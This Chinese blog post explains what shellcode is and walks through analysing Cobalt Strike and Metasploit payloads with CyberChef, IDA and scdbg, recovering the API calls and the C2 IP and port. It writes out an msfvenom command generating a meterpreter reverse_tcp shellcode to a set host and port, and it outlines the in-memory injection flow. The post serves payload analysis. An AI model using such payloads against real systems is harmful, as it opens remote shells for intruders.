走进shellcode

简介: 走进shellcode


前言


在做红蓝攻防时,常常要用到cs、msf等工具,使用工具生成shellcode或可执行程序,那么小小的shellcode为何能做这么多事情,拿到shellcode后又该怎么分析。希望这篇文章能给大家带来答案,文章中不正确的地方请及时指出。


shellcode定义


shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。在寄存器eip溢出后,加入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。

--摘自维基百科


通俗来讲就是一串16进制的机器码,由CPU解释为操作指令 ,最后由内存加载执行。这些操作指令可以由工具生成,也可以自己编写。

例如常见的\x55\x88\xEC,经CPU解释后如下  

55      push ebp  
8B EC   mov ebp, esp

了解一些汇编知识就能理解,这是一个简单的入栈操作


shellcode提取


这里以cs生成的powershell代码举例,首先使用Cobalt Strike生成一个powershell的payload。

67e9bc299a8d0df66152ffda5ee22e2c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到使用了base64和xor编码,可以使用CyberChef工具进行解码,解码后转成hex并去除空格

62c0a15d4b771ecf851b2f9f5eff9d5a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后以hex形式黏贴至010editor

82678fa9f18acbb1142f98073dbbfc63_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


简单分析


将获取到的文件载入IDA进行简单分析

2ec5deef0abc5943b52cee8b23b910e1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

IDA尝试还原代码,但是第一段IDA将其视为了数据段,使用快捷键C来进行转换

850789f650f8f5946a05177985929256_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

还原后可以发现,其在第二行调用了sub_8F,另外还要注意fs:[edx+30h],这是一个指向PEB的指针,这是shell代码动态定位和加载所需导入的方式,找到PEB后,就可以去找IAT里相关函数了。

在sub_8F函数内,可以看到如下代码,使用快捷键R可以转换成字符,发现其调用了wininet.dll,这是一个windows应用程序网络相关模块

f36612e9391920b0903c5def1f473465_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

还有一部分调用我们需要借助于工具匹配windows dll的api哈希值,完整列表

通过检索可以查找到对应调用


0xc69f8957  wininet.dll_InternetConnectA
0xa779563a  wininet.dll_InternetOpenA

快速分析


使用IDA分析可以很容易的对shellcode的流程加载进行观察,当然我们可以使用SCDBGhttp://sandsprite.com/blogs/index.php?uid=7&pid=152工具更快速的对shellcode进行分析。它是一个围绕libemu仿真库构建的shell代码分析应用程序。将向用户显示shellcode试图调用的所有Windows API。

通过命令行直接对文件进行分析,可以快速获取其调用的函数库和远端的地址与端口

bb1bd57d3d4603975c8abe2b43f1eb53_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

除了命令行,该工具还提供了gui界面,载入文件勾选相关选项,会自动进行分析。


cs流程分析


通过上面分析我们可以了解到,cs生成的shellcode仅仅加载了wininet API库并导入了两个用于建立互联网连接的库,并可以看到连接对应的IP和端口。其功能也很明显,就是一个接收信号的程序。那么回过头看一下cs生成的ps文件的其他部分。


  • 首先,脚本从system.dll 中导入两个函数 GetModuleHandle 和 GetProcAddress,通过动态链接方式直接从内存中导入dll,不会从磁盘加载。
  • 然后,这些函数用于为函数“var_va”分配内存空间,该函数包含我们的 shellcode。然后脚本对 shellcode 进行解码和解密
  • 接下来,VirtualAlloc 将 shellcode 函数写入内存空间以供调用进程使用。因此,shellcode 本质上是注入到进程使用的内存空间中。
  • 最后,shellcode 被执行,在那里它与 Cobalt Strike 服务器建立一个 C2 通道。当通道建立后即可接收来自cs的指令。


msf流程


首先使用msfvenom生成shellode。


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw

可惜的是64位的shellcode无法直接使用scdbg进行分析,相对应的一些函数IDA无法做到有效识别,但好在msf生成的shellcode有个特征可以有助于我们去提取IP和端口。

移动指令(mov)且结尾为0002的寄存器值,搜索后找到如下值4199F5A8C05C1120

601262c97936a30a8fbb3851b4f5d47a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里注意大小端的问题,进行16进制转10进制,可以得到I以下153.245.168.192,转换出来就是192.168.245.153,5c11转换后是4444。一般由于适用性问题,64位的shellode较少,这里简单提一下。

msfvenom的shellcode实现的功能我们可以使用32位的进行分析,将32位的shellcode使用scdbg工具打开,勾选scan for api table选项,最后启动

872ecaed60ed93be1879837ae720f009_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以发现其调用的是ws2_32.dll,它是Windows Sockets应用程序接口,用于支持Internet和网络应用程序。通过分析可以得出msf的shellcode也仅仅做了建立连接通信的功能。


总结


shellcode是一串机器码,可以由CPU解释执行。

cs和msf默认生成的shellcode仅仅是一个连接程序,需要其他方式加载进内存执行。

shellclode分析32位可以直接使用scdbg直接分析,可以获取远程的IP和端口、调用的API等信息。


相关文章
|
3月前
|
安全 Java 编译器
代码深处的秘密:当高级语言遇见汇编语言,思维将何去何从?
【8月更文挑战第31天】在编程领域,高级语言如Python和Java让我们高效开发,但要深入理解计算机工作原理,则需学习汇编语言。高级语言抽象了内存管理和操作细节,如Java中的`add`函数,编译器自动处理一切。而汇编语言则需手动管理每个步骤,如直接操作寄存器和内存进行加法运算。从高级语言转向汇编语言意味着思维的巨大转变:从依赖抽象到深入底层。掌握汇编不仅能提升对计算机物理本质的理解,还能优化系统性能、提高代码效率,甚至应用于逆向工程和安全分析。尽管现代开发中直接使用汇编的机会减少,但其原理对深入了解计算机依然至关重要。
19 0
|
3月前
|
Shell
CTFHubret2shellcode-入土为安的第十三天
CTFHubret2shellcode-入土为安的第十三天
48 0
|
6月前
|
程序员 Linux 网络安全
optee os syscall,35岁以后的网络安全程序员出路在哪里
optee os syscall,35岁以后的网络安全程序员出路在哪里
|
6月前
|
机器人 程序员 C语言
Scratch3.0——助力新进程序员理解程序(八、字符串函数)
Scratch3.0——助力新进程序员理解程序(八、字符串函数)
72 0
|
存储 Linux C语言
Linux系统编程(再论execve)
Linux系统编程(再论execve)
72 0
|
安全 测试技术 Shell
CTF竞赛 -- Shellcode学习
CTF竞赛 -- Shellcode学习
229 0
|
NoSQL 安全 Shell
简单的PWN学习-ret2shellcode
最近在学习pwn,这是一道2016年的pwn题目,主要学习关于栈溢出以及劫持栈指针达到命令执行的效果,笔者水平较差,请轻喷
|
小程序 数据挖掘 开发者
走进小程序【一】什么是小程序??
走进小程序【一】什么是小程序?
191 0
走进小程序【一】什么是小程序??
|
存储 JSON 小程序
走进小程序【三】小程序代码构成
走进小程序【三】小程序代码构成
181 0
|
Java C语言
进阶C语言之路,携君之手,步入程序大堂
进阶C语言之路,携君之手,步入程序大堂
78 0